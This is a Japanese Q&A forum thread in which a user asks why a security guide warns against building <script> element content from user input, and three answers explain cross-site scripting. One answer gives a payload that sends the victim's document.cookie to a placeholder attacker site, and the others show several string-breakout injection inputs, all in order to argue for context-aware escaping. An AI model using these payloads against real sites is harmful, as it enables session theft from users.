アプリ版:「スタンプのみでお礼する」機能のリリースについて

▽安全なウェブサイトの作り方
  http://www.ipa.go.jp/security/vuln/documents/web …

><script>...</script> 要素の内容を動的に生成しない
>ウェブページに出力する<script>...</script>要素の内容が、外部からの入力に依存する形で動的に生成される場合、任意のスクリプトが埋め込まれてしまう可能性があります

・P25で上記のように書かれているのですが、理解できません(何故ここだけ動的生成してはいけないのか等)
・具体的にどのようにして埋め込まれる恐れがあるのでしょうか?
・またここで書いている内容は、下記何れを指しているのでしょうか?
・ココカラ<script>...</script>ココマデ
・<script>ココカラ...ココマデ</script>

A 回答 (3件)

攻撃の容易性でしょう。



この脆弱性を付く攻撃をする際に一番苦労するのが <script> をどうやって埋め込むかです。これは入力内容のエスケープ処理で大体は塞がれてしまうのですが、<script> 要素内に直接埋めこめられるならその問題が無いので、かなり攻撃しやすいサイトとなります。

埋め込み方法ですが、以下の様な生成をするサイトの場合なら

入力内容: 太郎
出力内容: <script>alert('こんにちは太郎さん')</script>

そのサイト内で使用している cookie 内容を盗聴するために、以下のように攻撃できます。

入力内容: ');window.location='http://攻撃サイト/'+document.cookie;a=('
出力内容: <script>alert('こんにちは');window.location='http://攻撃サイト/'+document.cookie;a=('さん')</script>

引用符のエスケープ処理で塞がれるかもしれませんが、それでも対処できる余地はあります。
    • good
    • 0
この回答へのお礼

回答ありがとうございましたー

お礼日時:2013/05/09 12:27

主にサーバーサイドの話でしょう


例えば簡易掲示板で、名前をクリックすると本文がalertされるものを作ったとします

そこで
alert("内容")
とすると
内容が
「"+(function(){code})()+"」だと
aler("t"+(function(){code})()+"")
となって任意のコードを埋め込まれてしまうということです

本人が書き込んだ内容を本人のみに適応する場合はいいですが
第三者も見えるHTMLコードになる場合は気をつけてください
    • good
    • 0
この回答へのお礼

回答ありがとうございましたー

お礼日時:2013/05/09 12:28

ものすごく単純化しますが、



・script 要素生成テンプレート:
<script>alert('あなたの名前は$nameです。');</script>

・利用者から入力されたデータ(1):
$name = "太郎"
→ <script>alert('あなたの名前は太郎です。');</script>

・利用者から入力されたデータ(2):
$name = "');var s=document.cookie;('"
→ <script>alert('あなたの名前は');var s=document.cookie;('です。');</script>

・利用者から入力されたデータ(3):
$name = "')</script><p>おはよう</p>"
→ <script>alert('あなたの名前は')</script><p>おはよう</p>です。');</script>

(2) のようにして Cookie にアクセスできました。もちろん、このままでは Cookie 制限により他のドメインに紐付けられたデータを見ることはできませんが、危険であることに変わりありません。また、(3) は勝手に script 要素を終わらせ、任意の文字列を出力させています。

この場合、$name を「HTML の script 要素内に埋め込まれる JavaScript に適した形」にエスケープする必要がありました。結構、ややこしい話なのですよ。例えば、script 要素内で "</script>" をどうやってエスケープしますか? 他の "</p>" のようなタグは? あるいは、今回は幸い(?) JavaScript の文字列への出力なので比較的楽なのですが、では文字列の形式を崩さないようにするには?

そういう文法知識が曖昧なら、やらない方が無難です。まあ、上記のような名前程度なら、入力段階で "=" のような「名前に不適な文字」を刎ねてしまっても構いませんが。

そもそも論として、スクリプト云々に関係なく、データを出力する際は必ず「出力する文脈に合わせて」データをエスケープしなければなりません。データ入力時点の「サニタイズ」で事が済むと思っている人が今でも多いですが、間違いです。
    • good
    • 0
この回答へのお礼

回答ありがとうございましたー

お礼日時:2013/05/09 12:28

お探しのQ&Aが見つからない時は、教えて!gooで質問しましょう!